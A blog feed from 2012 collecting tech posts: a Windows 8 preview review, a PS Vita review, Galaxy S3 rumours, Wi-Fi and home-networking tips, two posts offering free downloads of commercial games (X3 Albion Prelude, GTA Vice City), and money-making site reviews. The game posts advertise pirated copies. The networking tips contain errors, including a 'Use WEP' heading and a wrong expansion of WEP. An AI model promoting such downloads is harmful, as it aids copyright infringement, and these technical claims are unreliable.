Hast Rider

Windows-8 Review

2012-04-03T00:13:00.000-07:00

Windows 8 offers options on lock screens and more

The Windows 8 Consumer Preview (here's the Windows 8 download) updates the look of the Developer Preview, adds a lot of new features and revamps a few old ones.

The round Start button is gone, the Metro-style Start screen remains and yes, you can only pick from nine colours and five patterns for the Start screen background.

But there's far more to the Consumer Preview user interface than the Start screen, and far more to Windows 8 than the user interface.

Metro has a limited choice of colour schemes and styles

There are new ways of switching between apps, as well as more updates to the desktop tools. There are changes under the hood to file copying, power management, security, networking, hardware support and more.

Two windows; when one is the desktop, it has thumbnails of all open apps

And then there are the first real Metro apps, so you can find out what it's like to use Metro for more than just trying out Metro, and the Windows Store for the first third-party apps from real developers.

Swipe down on the start menu to see all your apps

This is the version of Windows 8 that's going to give you a real feel for what the final operating system will be like and the first version you could realistically use for day-to-day work. But will you want to?

Running the Windows 8 Consumer Preview

First of all, it's worth noting that the Consumer Preview is only for x86/64 PCs; there isn't an ARM version that you can download and try out, since there aren't any ARM devices that will run it.

That's because of the extremely custom way that ARM devices are built, where not even the way to control a physical button is standard. Microsoft isn't supporting tablets built to run Android or WebOS, either.

It's the windows 7 beta fish – metro style

Much of what we're seeing in the Consumer Preview will be the same on Windows on ARM (WOA) systems. Most stuff - from the Metro user interface to the touch gestures, to the Windows desktop and built-in Windows tools such as Explorer and Task Manager - will be practically the same. But until we see it in action, we don't know what WOA performance and battery life will be like.

Consumer Preview doesn't include the desktop Office apps that will be bundled with WOA either - and of course it runs all the x86 desktop apps that won't work on WOA.

Windows 8 on ARM: Steven Sinofsky speaks

When you download the Consumer Preview, installing is easier than usual with a beta operating system. You can start the installation directly from the web page, instead of having to download an ISO file and burn that to an optical disc.

You can still burn an ISO if you want, and the installer can also create a bootable USB stick so you can download Consumer Preview once and install it on multiple machines.

Windows 8 boots so fast you may miss the bios screen, so you can change the options for the next boot here

The tools for creating a Windows To Go USB stick aren't available yet, so you can't run Windows 8 directly from USB, but you'll get a far better feel for how Windows 8 performs if you can try it out directly on a PC.

Review In New PS Vista

2012-04-03T00:11:00.000-07:00

The PS Vita is the most powerful, dazzling and impressive handheld games console ever built.

It packs not one but two quad-core processors, a sparkling 5-inch touchscreen OLED display, dual analogue stick controls and games that go way beyond what any other portable device is currently capable of.

That includes the Nintendo 3DS, which may wield 3D optics as its trump card, but nonetheless simply cannot compete with the Vita in terms of graphical fidelity. What the PlayStation Vita offers is more akin to a home console experience on the move, and that puts it in an elite class of one.

Of course, whether or not there is a big market for such a device is an interesting question, and we're in the process of getting some early answers. A sluggish start in Japan has been followed by some less-than-stellar sales figures in the first weeks of its UK and US launch. It doesn't come as much of a surprise.

After all, it's a luxury item launching post-Christmas into a Western world ravaged by financial floundering, and further hindered by Sony's desperate need to make money at a time when the strength of the Yen makes exported Japanese products very expensive.

Take a look at PS Vita gameplay footage, the new interface and touch controls in our video:

But we'll get to that a little later, and as far as this PlayStation Vita review goes, we're looking at the product as a stand alone piece of hardware, how it stacks up against the competition and whether or not it offers value for money.

The basics

In many ways, despite the new name, the PlayStation Vita is another revision of the Sony PSP legacy with plenty of much needed evolution on top.

The same basic form factor returns and it doesn't look too different from its predecessors. But this is a wolf in sheep's clothing. A beast among men. A veritable fire-breathing monster compared to those long-dead PSPs in the sky.

The curvy oval shape returns, and measures 7.2-inches from end to end. So it's the biggest Sony handheld ever, with a height of 3.3-inches and a thickness of 0.73.

Sony's reasoning has clearly been: if we're going to make the world's most powerful handheld console, we might as well make it the best it can possibly be. That involves packing industry-leading visuals, hence the 5-inch OLED screen which on its own is as big as the entire PSP Go console was.

We think the enlarged size is a worthwhile compromise, and this Wi-Fi only model weighs in at just 260g which is 20g lighter than the original, smaller PSP 1000. So when you pick it up you'll react to its apparent lightness.

On the table

The front of the console is a smorgasbord of hardware delights.

To the left of the screen you'll find the classic Sony D-Pad, a left analogue stick, a left speaker and the PS Home button.

To the right you'll find your classic PlayStation triangle, circle, square and X buttons, as well as a right analogue stick, right speaker, a 0.3MP front-facing camera and the Start and Select buttons you're most likely very familiar with already.

On the top side of the Vita are left and right shoulder buttons - there are no trigger buttons like you'd find on a PS3 Dualshock controller. Between the shoulders you'll find the on/off button, volume controls, the PS Vita Card slot (which we'll discuss in a moment) and a terminal to plug in any number of as-yet non-existent peripherals.

The base of the console houses the proprietary USB connector for charging and connecting to PS3 etc, as well as the headphone/microphone adapter and the Memory Card slot.

And finally, the rear of the PS Vita is home to the brand-new rear Touch Pad, a rear 0.3MP camera and a microphone.

Price

At launch the PS Vita will set back UK gamers around £209.99 (RRP £229.99), while the 3G version will launch a little later for £259.99 (£279.99). At the time of writing, the cheapest deal for the PS Vita is £197 at ASDA, while Amazon have matched that price.

There are bundle deals if you shop around, and these include different combinations of PC Sivta with memory cards and games

Samsung Galaxy S3

2012-04-03T00:04:00.000-07:00

All the information on the Samsung Galaxy S3

Samsung's flagship 2011 Android phone received a glowing 5/5 score when we reviewed the Galaxy S2 earlier this year.

And it was no surprise - Samsung packed a very powerful and capable processor plus a very nice camera into an unbelievably slim case.

Review

Samsung Galaxy Nexus review

Samsung published endless press releases about its ever growing global sales figures, which can only mean one thing. A sequel is guaranteed for 2012.

Samsung is yet to make any official announcement regarding the Galaxy S3, mind, but the pieces are falling in to place. Samsung's processor developments are clear to see, with the company announcing several new Exynos cores during 2011 that could power the new Galaxy S3.

The Galaxy S 3 (which we've also seen referred to as the Galaxy SIII) is bound to be at least powered by a dual-core processor, but there's even been rumour of a quad-core chipset in Samsung's pipeline, which may power the S3. Here's what else we've gathered so far.

Check out our Samsung Galaxy S3 photo evolution gallery - do you believe any of them?

Samsung Galaxy S3 UK release date

The mobile phone industry is extremely predictable. The high-spec models for the year are invariably announced and shown off at February's Mobile World Congress event, with the finished hardware starting to appear on sale at the end of March and into April.

Samsung managed to release the S2 right at the beginning of April in 2011, so it's bound to want to repeat the winning formula and release the S3 at the same time in 2012. If you're due an upgrade next April, the S3 ought to be ready and waiting for you.

In Depth

10 gadgets to look forward to in 2012

Update: Bad news, S3 fans: it looks like the phone has been delayed until later in the year already, with Samsungpromising a special non-MWC event of its own.

Samsung has even gone as far as cancelling its whole MWC conference altogether, so we're looking forward to seeing how it diverts all those funds into making the Galaxy S3 launch superb.

Update: There is an outside chance that we could see the Samsung Galaxy S3 at an event in Amsterdam on March 15 after an invite was sent out to various members of the press.

Update: A couple of South African carriers have said that they expect the Samsung Galaxy S3 to hit shelves as early as July - which tees us up nicely for a March unveiling.

Update: Samsung's marketing agency looks like it might have dropped the ball, reportedly confirming that the Galaxy S3 will hit UK (and global) stores in April - meaning an quick Apple-esque announcement to availability schedule.

Update: Samsung has confirmed that it will announce the release date of the Galaxy S3 via Twitter first. It has also denied the April launch date rumour above.

Update: A leaked image claiming to be the Samsung Galaxy S3 has appeared online suggesting it will be unveiled on March 22 - however Samsung has already denied the date and the image has several flaws.

Credit: Phone Arena

Update: A press image of the suposed Samsung Galaxy S3 has been leaked, revealing a brand new design and a release date of May 22 2012.

Credit:Reddit

Update: Several reports from Korea have quoted Kim Young-Ha, Samsung Greater China President, saying that the Samsung Galaxy S3 launch date could be brought forward a month from May to April.

Update: Another image (below) claiming to be the Samsung Galaxy S3 has appeared, with striking similarities to the press image above - both of which suggest a May 22 release date.

Credit: GSM Helpdesk Nederland

Update: Another image claiming to be the Samsung Galaxy S3 has appeared, with striking similarities to the press image above this one - both of which suggest a May 22 release date.

Update: The Samsung Galaxy S3 could be in-line for a surprise launch on March 30, depending on the conclusions you draw from a cryptic paint-job adorning London's flagship Phones 4U store - although this now looks unlikely as Samsung has confirmed it is the launch of a Samsung vendor within the Phones 4U shop.

Samsung Galaxy S3 US release date

The Galaxy S2 took many months to appear in the US, as Samsung rearranged the design and changed features to please the US networks and their customers.

Given that the S2 is therefore still quite "new" to America, we'd expect the S3's American launch to be several months after the UK arrival once again. Mobile hardware launches are one of the few areas where the UK leads the world.

There was rumour the Galaxy S3 was going to be shown off at a special French event - but now Samsung has even denied that too.

Update: Samsung's marketing agency looks like it might have dropped the ball, reportedly confirming that the Galaxy S3 will hit stores worldwide in April.

In Depth

15 best Android tablets in the world

It's been suggested the reason Samsung has delayed the Galaxy S3 until after MWC 2012 is so it can be launched simultaneously in the US and rest of the world.

The Galaxy S2 suffered a US release delay, which saw it arrive several months after the rest of the world and Samsung is keen to avoid the same situation this year.

Samsung Galaxy S3 price

Obviously we don't have pricing details for an unannounced phone, so all we can do is speculate. Given the recent launch of the Galaxy Nexus, which sold for an enormous £520 around its launch and for the following few weeks and was available on contracts starting at £36, that's the high-end level we expect of the S 3.

The Galaxy S2 was put on sale for £500 at launch, and contracts for a whopping £46 per month weren't hard to find either. However, that price dropped very quickly, so we expect the same to happen again.

In fact, given the success of the S2 (pictured below), we could even see it set new highs for Android phone prices, as Samsung fans clamour for what will surely be one of 2012's must-have mobiles.

Samsung Galaxy S3 processor

Back in November, details of a next-gen Samsung Exynos 4412 chipsetwere uncovered, describing it as a quad-core unit said to be clocked at 1.5GHz.

Given that Android manufacturers are all clamouring to boast about who's got the most cores in their devices, it'd make perfect sense for the S3 to be announced as a headline-grabbing quad-core phone.

If not, Samsung has officially revealed its work on the dual-core Exynos 4212, a dual-core ARM9 chipset that's claimed to be 30% more efficient and substantially faster than the unit inside the Galaxy S2. Even that lesser option would still make the S3 a great phone.

Or there's the newer Exynos 5250, an up-to-2GHz dual-core model that supports an incredible maximum resolution of 2560x1600. This seems primarily designed for tablets, but with phone specs increasing at such massive speed, who knows?

Update: Leaked information on the Galaxy S3 apparently confirms that it will pack a 1.5GHz Samsung Exynos quad-core processor.

Update: A report suggesting the Galaxy S3 will pack the "quad core exynos 4412" processor was leaked alongside a spy shot claiming to be the handset.

Update: The 1.5GHz quad-core Exynos 4412 processor rumour gets even more backing after reports of a Samsung executive revealing details to the Korea Times.

Samsung Galaxy S3 operating system

Review

Android 4.0: Ice Cream Sandwich review

Nothing is confirmed yet, of course, but given the Q2 2012 launch date and the fact that Samsung is already releasing test versions of an Android 4.0 update for the Galaxy S 2, the S 3 is all but guaranteed to arrive with a version of the Android 4.0 Ice Cream Sandwich release.

Google has recently published the 4.0.3 code which it says should be considered the baseline of the Ice Cream Sandwich code, so expect that version to launch on the S 3 at the very least.

We would also expect the Galaxy S 3 to feature a version of Samsung's TouchWiz user interface skin layered over the top of Android as well, which will help differentiate the phone from the "vanilla" Android 4.0 as found in the Samsung-made Galaxy Nexus.

Update: Leaked information suggests the Galaxy S3 will run Ice Cream Sandwich - no surprise here, but if the report is legit it contains other specs about Samsung's hotly anticipated handset.

Update: An image below claims to show the Samsung GT-i9300, running Android Ice Cream Sandwich with TouchWiz overlay, and touts itself as "the real deal" - could this be the Samsung Galaxy S3?

Credit:PhoneArena

Samsung Galaxy S3 memory

Not much to go on here at the moment, but 1GB of RAM seems to be emerging as the new benchmark for comfortably running Android while maintaining solid performance, so that's our best guess for the S 3.

In terms of onboard storage, the Samsung-made Galaxy Nexus did away with the SD card storage slot, only letting users have the 16GB the phone came with. If that's the way Samsung and Google see the future going, perhaps the S3 will bin SD card support as well.

Samsung Galaxy S3 display

The Galaxy S2 seemed enormous with its 4.3" screen, but since then we've had the even bigger 4.7" HTC Sensation XL, the 4.65-inch Galaxy Nexus(below) and the insanely huge 5.3" Galaxy Note. The most recent mention of Galaxy S 3 screen size came in a rather dodgy-looking Samsung presentation slide, which claimed the S3 would feature a 4.6" screen.

Update: During its CES press conference Samsung popped out a promotional video with a very large-looking device appearing for a fleeting second, with an edge-to-edge display and much larger chassis. Although it could be a revamped Galaxy Note, we're still hoping it was a great S3 leak.

A very dodgy-looking picture has also appeared that supposedly shows the new Galaxy S3 with a flexible screen, although we're taking that with so many pinches of salt our cholesterol levels are dangerously high.

We wouldn't be surprised to see the S3 feature a bigger display than that of the Galaxy Nexus, though, offering something nearer the 5-inch end of the scale – as Samsung will surely want to have something considered both biggest and best as its new 2012 Android flagship.

Update: BGR has reported an information leak which confirms the Samsung Galaxy S3 will pack a 4.8-inch screen with a Full HD 1080p resolution and 16:9 aspect ratio.

Update: A report leaked on Reddit suggests the Samsung Galaxy S3 will come with a 4.7-inch SuperAMOLED+ HD display.

Samsung Galaxy S3 camera

All we have to go on here is more news from Samsung's imaging development teams, which announced the 16 megapixel mobile sensor back in October.

The tech spec of the S5K2P1 state it can capture 60fps HD video, while the still system can take 30 8.3 megapixel shots a second, eliminating shutter lag. If that sensor makes it into the Galaxy S3, every smartphone user in the country will be blagging an upgrade on launch day.

A picture was taken apparently using the camera on Boxing Day, with the EXIF data confirming not much more than it has a flash and it was used at Samsung HQ - is this picture of a plant really the future of Samsung photography?

Update: A report leaked on Reddit suggests the Samsung Galaxy S3 will have a 12MP camera, built flat into the back of the handset, meaning there will be no bump as found on the Galaxy S2.

Other Features

Update: Reports from Korea suggest the Samsung Galaxy S3 may come with wireless charging capabilities allowing you to say goodbye to that fiddly night-time plug in ritual.

Speed Up Your Wireless Network

2012-04-02T23:59:00.001-07:00

Switching off mixed mode on your base station can increase your Wi-Fi network's performance

Wi-Fi is a great technology, but how you set up and use it can have a huge impact on its efficiency.

If you're constantly waiting for web pages in general to load, then before you complain that your ISP isn't supplying that promised 24Mb/s connection, spare a thought for what happens when that signal hits the airwaves in your house.

How it works

To improve Wi-Fi performance, we first need to understand what it actually is. Wi-Fi is also called wireless local area networking or WLAN in the management console of your base station or broadband router, and it uses a group of frequencies clustered around 2.4GHz to transmit and receive data between computers.

To ensure that data gets through, it uses a protocol called 802.11. If every network within range all used the same exact frequency of 2.4GHz, the various devices would swamp each other's signals - a bit like two radio stations transmitting on the same frequency.

To overcome this, the protocol allows devices to use 13 numbered channels, which all use slightly different frequencies to ensure that there's as little interference as possible.

Confusingly, there are a few versions of 802.11. The oldest is 802.11a, which is now obsolete. This has been superseded by 802.11b, which has a maximum data transmission rate of 11Mb/s. 802.11g, which is the dominant version in the UK, can transmit at a healthier 54Mb/s. The newer 802.11n can use two channels for a maximum of 300Mb/s.

Encryption

Security is very important in Wi-Fi networks, and this has to do with both logging onto the network and how individual packets of data are encrypted. The oldest Wi-Fi security standard is WEP (Wireless Equivalent Protocol). This was part of the original 802.11 protocol and has been cracked, making it insecure.

This insecurity came about because if enough packets can be captured from the airwaves, software can be used to work out what that password is. Several open source packages now exist (AirCrack, for example) that will attempt to solve WEP passwords, thereby allowing people to log onto your network.

An updated security standard called WPA (Wi-Fi Protected Access) was introduced in 2003, with a newer version called WPA2 coming along in 2004. This is still secure and uses a government-strength encryption algorithm to keep your networks safe. In some Wi-Fi equipment, the security used is referred to as RSNA (Robust Security Network Association). This is really just another name for WPA2.

CSMA

If every computer on your Wi-Fi network transmitted at the same time, they would jam each other's signals. To prevent this, every Wi-Fi network card sold (including the one in the base station) uses a technique called Carrier Sense Multiple Access (CSMA) to share the airwaves.

In CSMA, a situation called contention occurs when a Wi-Fi card wants to transmit a data packet, but hears that a packet is already being transmitted. It waits for a very short but randomly selected time before listening again. If the airwaves are clear at the end of that period, the card transmits its packet before listening again and subsequently transmitting the next packet if the airwaves are still clear.

This 'first come first served' scheme means that over time, all network cards get an equal opportunity to transmit all their packets. CSMA is also used in wired networks, and is a very efficient method of data transmission.

This being the case, it's usually external influences that are to blame for adversely affecting Wi-Fi networks. Before attempting to improve the performance of your Wi-Fi network, it's important to know what its performance is like before you start. Otherwise, how will you know for certain which measures work and which don't?

Set a baseline

The easiest way of measuring current performance is to use an online broadband speed testing service. There are plenty available, and they all work in the same way. One service is Broadband Speed Checker.

First, ensure that your entire network is quiet. Turn off all streaming services such as Spotify (including killing the service in the system tray), all social media services, all torrent services, and all email clients that automatically update themselves. Check to make sure that the WLAN light on your base station is not flashing to ensure that everything is turned off.

From a Wi-Fi connected computer, click Start Speed Test and wait until the test completes. Rather than just performing the test once, collect several results over a few days. Try to run the test at different times of the day to see when the local loop from the nearest telephone exchange to the houses it serves is most congested.

Keep the results of these tests on a spreadsheet and you'll be able to see the best time of day to perform large downloads.

It's also a good idea to perform the same tests from a PC wired directly to the base station. This will give you a definitive measure of the difference in performance between wired and Wi-Fi connections.

Whenever you implement a change, re-test the Wi-Fi speed to see if there's any appreciable difference. You may be surprised to find that some simple changes can help you resist an upgrade to a supposedly faster connection.

Interference

The 802.11 protocol family uses some very clever low-level encoding techniques to ensure that regardless of circumstances, the signal stands a chance of still being heard over other noise, but anything we can do to help it will improve network performance. In some cases, such techniques can make a dramatic difference.

Everything would be fine if Wi-Fi network cards were the only things transmitting at 2.4GHz in our homes, but they're not. There are plenty of sources of interference that can cause the network cards to have to wait multiple times before being able to transmit their packets.

Incredibly, one of the biggest sources of Wi-Fi interference is your domestic cordless phone. If you have one in the same room as a Wi-Fi device, you can expect network performance to noticeably degrade every time you make or receive a call.

Bluetooth devices also use the golden frequency of 2.4GHz to transmit and receive data, and therefore also tend to cause interference on Wi-Fi networks. Microwave ovens are a domestic boon that we usually take for granted, but they're also a source of 2.4GHz interference.

Despite remaining perfectly safe to humans when cooking food, a microwave oven situated less than about 10 feet away from a Wi-Fi network card will degrade its performance. Don't forget that this 10-foot range can extend through walls into other rooms.

Added to these interference sources there are also less obvious ones. Your neighbour may be transmitting on the same channel, and have placed his base station right near your adjoining wall. Mains wiring running through walls and floors, faulty household appliances containing electric motors, and physical obstacles like brick walls also play a part in degrading performance.

Computer Networking Tips And Tricks

2012-04-02T23:55:00.000-07:00

The redesigned Network and Sharing Center screen has lots of options for advanced users to play with

Running a home network is pretty essential in this day and age.

Thankfully, modern hardware and software has reduced the complexities of configuring networks down to a few setup screens, and the relevant hardware often comes free with an internet connection.

If you have multiple computers, the chances are they're already talking to each other, either through wires or wirelessly. However, while your home network might be up and running, optimising it takes some doing. Follow our simple tips to extract the last drop of juice from your network hardware.

1. Change channel number

Wireless routers operate on a fixed channel. Since most routers ship with a pre-selected channel, the wireless signal may interfere with other routers in the vicinity that are operating on the same channel.

Changing the wireless channel from the factory default is a good starting point if your wireless signal strength is poor.

2. Give the router space to breathe

The biggest advantage of a wireless router is that it can penetrate doors and walls – but that doesn't mean you can just stuff it next to a wall or cordless telephone, or use it as a stand for your stack of DVDs. Treat it with respect.

Try to keep it in a central location, away from other wireless devices; make sure it's not in direct sunlight; lift it off the carpet; and ensure its vents and air holes aren't covered.

3. Improve reception

Try as you might, you'll find it's sometimes not possible to put the router in a good spot. One way around the problem is to buy a router with multiple antennas and point them in a variety of directions covering your home.

Alternatively, if you've already got a router, check whether it's possible to upgrade its antennas to something stronger. However, don't get disheartened if your router doesn't have any antennas. A wireless repeater compatible with your router is a perfect solution.

4. Use WEP

Running an unsecured network will earn you brownie points from neighbours and hackers with cars, but that's about it. Wireless routers support a variety of encryption methods, such as WPA and WEP, but these aren't enabled by default.

WPA2 is the most secure method at the moment, but before deciding on an encryption method, make sure your network cards and adapters support it as well. Bear in mind that older machines – and games consoles such as the Nintendo DS – don't support WPA.

5. Restrict access to specific PCs

If you really don't want to use encryption, you can force your router to only connect to specific PCs. Your router identifies each computer by the unique MAC address of its network gear. Feed it a list of MAC addresses to connect to and you save yourself the trouble of entering a password each time you log in.

The disadvantage is that you'll have to add the MAC address of any new computer before it can get on your network – which is probably a more annoying way of getting things done.

6. Disable SSID broadcast

All wireless routers have a Service Set Identifier (SSID) that identifies them to network computers. Routers from the same manufacturer generally ship with the same SSID; 'Netgear' or 'Cisco', for example.

You should first change the SSID to something unique to set your router apart from those of your neighbours. Then, once all your hardware has been set up, it's better to turn off broadcasting the SSID altogether. This ensures your router isn't displayed in the list of available networks, and won't be a target for potential hackers.

7. Keep the firmware updated

Router manufacturers keep working on firmware, even after hardware has been shipped. In addition to tweaks in the user interface, new versions might make better use of the various components in the router, or add extra features.

Just like with an operating system, it's a good idea to upgrade the firmware of the router regularly – check the manufacturer's website for a new version. In the good old days, there was the risk of a botched firmware upgrade bricking your router, but it's a lot safer today.

8. Familiarise yourself with the router manager

All routers ship with a browser based manager. To use many of the tips in this article, you'll have to log in to this interface – try typing 192.168.1.1 into your web browser for the most common location.

It's a good idea to familiarise yourself with the various options and settings you can tweak from within this software. Many routers also have detailed documentation that's updated regularly, so hunt out the latest manual online.

9. Check your connections

There's nothing more irritating than receiving a 'cannot connect to remote machine' error. To ensure a solid connection, use Ethernet cables where possible. It's also a good idea to check the connection between the two PCs with the ping command.

To do this, simply open a command line and type, for instance, ping 192.168.1.2. You'll need to replace the address given here with that of your target machine. Ping works identically on Windows, Mac and Linux.

10. Forward ports

Many servers and applications – for example, file-sharing software, FTP servers and music-streaming servers – need to serve people outside the network. These applications accept connections on specific ports.

With port forwarding – check your router's interface – you can poke holes in your router and ask it to direct incoming traffic on a particular port (or, if you wish, a range of ports) to a specific computer that's on the network.

11. Change DNS providers

DNS is what fetches you a website by translating the human-friendly address, such as www.pcplus.co.uk, into a bunch of machine-friendly numbers. It also displays the '404 page not found' error, corrects misspelt URLs and finds the fastest route to a web server that hosts the site you want to visit, along with lots of other cool things.

Generally, it's up to the ISP to put up a DNS server. However, there are other free services as well, including the likes of OpenDNS and Google Public DNS.

12. Use USB adapters

These days, it's difficult to find a laptop or netbook without a built-in wireless module, but if you've used one, you'll know that they can't always be relied upon. Network cards with antennas are the best option, but they're really only suitable for desktops.

If you really need both mobility and assurance, make sure you get a USB adapter. Most of them ship with a Windows driver, but many work out-of-the-box on Linux as well.

13. Enable Dynamic DNS

The Dynamic DNS feature enables you to connect to your computer remotely. Back in the day, when real-estate on the web was expensive, it was a wonderful option to show off your HTML skills and host your own website.

Now, by associating your dynamic IP address with a domain name, DDNS enables you to connect to the internet-exposed home computer from anywhere in the world. In addition to enabling the feature on your router, you'll also have to register with a dynamic DNS provider, such as DynDNS.org.

14. Save power with Wake-on-LAN

What's the point of keeping a print server on when there's nothing to print? The smart way to save energy is to use the Wake-on- LAN feature of the network card. Thanks to this, you can put the machine to sleep after it's been configured to wake upon detecting network activity.

15. Encrypt your online activity

With the range of snooping tools now available, it isn't safe to do anything online without covering your footprints. There are lots of tools that promise to encrypt your online activity, making it completely unintelligible to anyone who might be listening in.

Some of the best ones to try are the Enigmail plug-in for Thunderbird,Psi for Google Talk and FireGPG, available for Gmail.

16. Get a Firewall distro

You can configure a firewall on a Windows or Linux machine, and there are also a bunch of third-party software firewalls available. However, building a firewall isn't easy. If you're serious about putting one up, download a dedicated firewall distro, such as Ebox.

17. Install the software

Ebox is distributed as a Live CD ISO and there are VirtualBox/VMWare images as well. It's based on Ubuntu Server 8.04. You can also pull in Ebox packages to a standard Ubuntu Server 10.04 installation. You can find it atwww.ebox-platform.com.

18. Configure settings

Ebox can be adapted flexibly to your network. You can use it to restrict services that can be accessed and slice the network to keep some areas more secure than others. The distro runs a browser-based interface for adding, removing and configuring the components.

19. Filter content

Besides the firewall, intrusion detection (via Snort) and filtering content (via DansGuardian) are two other highlights of the distro. DansGuardian can also plug into the ClamAV antivirus scanner and filter content based on known virus signatures.

20. Exploit other features

In case you're still not satisfied, Ebox can also act as a gateway and provide a host of other services. It bundles various applications that enable you to turn your network into a VPN, host XMPP chat sessions or run a Postfix mail server, a Squid web proxy and more.

21. Turn on UPnP

Universal Plug and Play helps smart devices that support UPnP to discover each other without any user intervention. Once turned on from within your router, UPnP enables a compatible infrared device, a Bluetooth phone or a FireWire camera to see and talk to each other.

22. Write files remotely

The most logical use of a network is to share files. This is the job of the SMB protocol. Thanks to it, you'll be able to write files to a remote network share via Network Neighbourhood. On Linux, the SMB protocol is implemented by Samba.

23. Share printers remotely

In addition to sharing files, SMB can be used to share printers attached to a Windows machine. Once configured via the Windows Control Panel, a printer can be used to accept print orders or even be managed from a remote machine, irrespective of its operating system.

24. Format shareable partitions as FAT

PCs running Windows can easily see each other and share files. For Linux or Mac machines, ensure the partitions are formatted with the FAT filesystem. Create them as Samba shares and they'll show up under Network Neighbourhood.

25. Plug in USB drives

Once, if you wanted to share files on the network, a network-attached-storage, or NAS, device was the best bet. Not any more. New routers enable you to plug in one or more USB devices that are automatically accessible by all the users connected to the router.

Game X3 Albion Prelude -2011 Download For Free

2012-04-02T23:50:00.001-07:00

Publisher: Egosoft

Developer: Egosof

Release Date: Dec 15, 2011

Genre: Simulator

Description:

X3: Albion Prelude is the latest game in the X3 space game series TRADE, FIGHT, BUILD, THINK in a living and breathing universe. A new plot and many additions to the open free-form gameplay Bridging the gap between the old and the new universe of the X game series, X³: Albion Prelude shows a universe in flux, and prepares players for things to come. The old X Universe is passing; a new X Universe is about to be created! The X universe is undergoing a period of massive change. What started as a conflict of interest between the Earth and the races of the X Universe has now escalated into a full scale war. Play a part in a war scenario bigger than anything the X Universe has ever seen before! Corporations Compete for Control of the Future With the war as a backdrop, corporations are vying for power and are driving the X Universe in a new direction. A technological breakthrough will soon allow massive accelerators, forming highways in space and allowing the economy to expand on an unprecedented scale. Highways, a key feature of X Rebirth, are not yet ready, but you can see them being built andparticipate in the power struggles around the construction of much larger self sustaining economies.

Features:
- A new plot throws you into the power struggle between corporations at a time of war.
- More than 30 new ships and stations
- New Stock Exchange feature allows advanced investment strategies
- Improved graphics quality setting for high end machines
- Improved UI introducing charts to visualize economic developments
- Support for head tracking

Screenshots:

System requirements:
- OS: Windows XP (SP-2), Vista SP1
- Processor: Pentium® IV or AMD® equivalent at 2.0 GHz
- Memory: 1 GB RAM
- Graphics: 256 MB 3D DirectX 9 Compatible video card (not onboard) with Pixel Shader 1.1 support
- Hard Drive: 10 GB of free space
- Sound: Soundcard (Surround Sound support recommended).

Download | X3 Albion Prelude PC Game Full Version.iso | 5.8 GB

Game GTA Vice City - RIP Version | Only 241 MB Download For Free

2012-04-02T23:43:00.000-07:00

Grand Theft Auto: Vice City is a 2002 open world action-adventure video game developed by Rockstar North (formerly DMA Design) in the United Kingdom and published by Rockstar Games. It is the second 3D game in the Grand Theft Auto video game franchise and sixth original title overall. It debuted in North America on October 1, 2002 for the PlayStation 2 and was later ported to the Xbox, and Microsoft Windows in 2003, and this time i share pc game (Microsoft Windows) version of this game.

GTA Vice City PC Game - Because Vice City was built upon Grand Theft Auto III,the game follows a largely similar gameplay design and interface with GTA III with several tweaks and improvements over its predecessor. The gameplay is very open-ended, a characteristic of the Grand Theft Auto franchise; although missions must be completed to complete the storyline and unlock new areas of the city, the player is able to drive around and visit different parts of the city at his/her leisure and otherwise, do whatever they wish if not currently in the middle of a mission. Various items such as hidden weapons and packages are also scattered throughout the landscape, as it has been with previous GTA titles.

GTA Vice City PC Game - Players can steal vehicles, (cars, boats, motorcycles, and even helicopters) partake in drive-by shootings, robberies, and generally create chaos. However, doing so tends to generate unwanted and potentially fatal attention from the police (or, in extreme cases, the FBI and even the National Guard). Police behavior is mostly similar to Grand Theft Auto III, although police units will now wield night sticks, deploy spike strips to puncture the tires of the player's car, as well as SWAT teams from flying police helicopters and the aforementioned undercoverpolice units, à la-Miami Vice. Police attention can be neutralized in a variety of ways.

Screenshots:

Minimum System Requirements:

800 MHz Intel Pentium III or 800 MHz AMD Athlon or 1.2GHz Intel Celeron or 1.2 GHz AMD Duron processor
128 MB of RAM
8 speed CD / DVD drive
915 MB of free hard disk space (+ 635 MB if video card does NOT support DirectX Texture Compression)
32 MB video card with DirectX 9.0 compatible drivers (“GeForce” or better)
Sound Card with DirectX 9.0 compatible drivers Keyboard & Mouse

Recommended System Requirements:

Intel Pentium IV or AMD Athlon XP processor 256(+) MB of RAM
16 speed CD / DVD drive
1.55 GB of free hard disk space (+ 635 MB if video card does NOT support DirectX Texture Compression)
64(+) MB video card with DirectX 9.0 compatible drivers (“GeForce 3″ / “Radeon 8500″ or better with DirectX Texture Compression support)
DirectX 9.0 compatible sound card with surround sound
Gamepad (USB or Joystick Port)
Keyboard & Mouse

Download | GTA Vice City PC Game RIP Version | Mediafire | 241 MB

Please Read the Review About Online Money Making

2012-04-02T23:16:00.002-07:00

Pay To Click (PTC) site’s are always been a great way to make money online but they require a lot of time (some also require your hard earned money) investment to actually earn money Online, which can be difficult for many of us . But you have to realize that The possibilities of making money online doesn’t end up with PTC’s or with some social networks , even there are plenty of resources beyond PTC site’s where you can easily earn money online with very little efforts as compare to pay to click sites.

Know The Web is a series of articles in which we share reviews of five Websites which are connected to each other and this post includes the reviews of 5 sites to earn money online beyond PTC sites.

Triond

If you like to spent few hours on the world of web and have something to share ,then instead of sharing as your status on Facebook , you can use Triond to do it.It’s like a micro blogging site , where you can write on any topic .The Triond does not have minimum word count in many categories so you can write a short poem of 20 words, and publish it, you can also share videos, Images .You will get 60% of your content AdSense revenue and the minimum pay-out in Triond is only 50 cents, which you can earn in just few hours ,if you shared a valuable content..

MyLot

It’s my favourite website as it’s a great place to share anything you like ,and get quality feedback instantly. MyLot is more likely a Forum or you can say a social network where you can share your thoughts, pictures ,Videos and you will be able to earn money from it.

with more than 239,259 members MyLot is great network to start earning money online,you will be get paid for commenting,making friends,starting a new discussion,sharing Images on MyLot community.

RedGage

RedGage is like a social networks , you can update your status ,like, comment and share others content ,you can upload your articles ,Images ,Videos and you will be paid for that. one of the best thing is that on RedGage you can share links ,so if you are a Blogger you just have to share your latest article with a short description and you can earn money from that and also you will get some traffic of your viewers.

The RedGage offers importing tools which you can use to import your social media content easily.The everyday Challenges are also a great opportunities to earn more money with RedGage.

Factoidz

It’s one of the best sites and Amongst the websites we discuss here, Factoidz is the only one, where you have to apply for an account.Factoidz has a great pay-out rate. The more views that you gain, the more money you will make. The secret of being successful on Factoidz is to write a review of any web service, gadget,game or movie you like most. well written content basically in your own language will get you a lot amount of money.to get approve from Factoidz is getting approve for an community to earn money easily. the daily bonuses are also a great feature on Factoidz where you can get up to 10$ per day as a bonus of your article.

Adf.ly

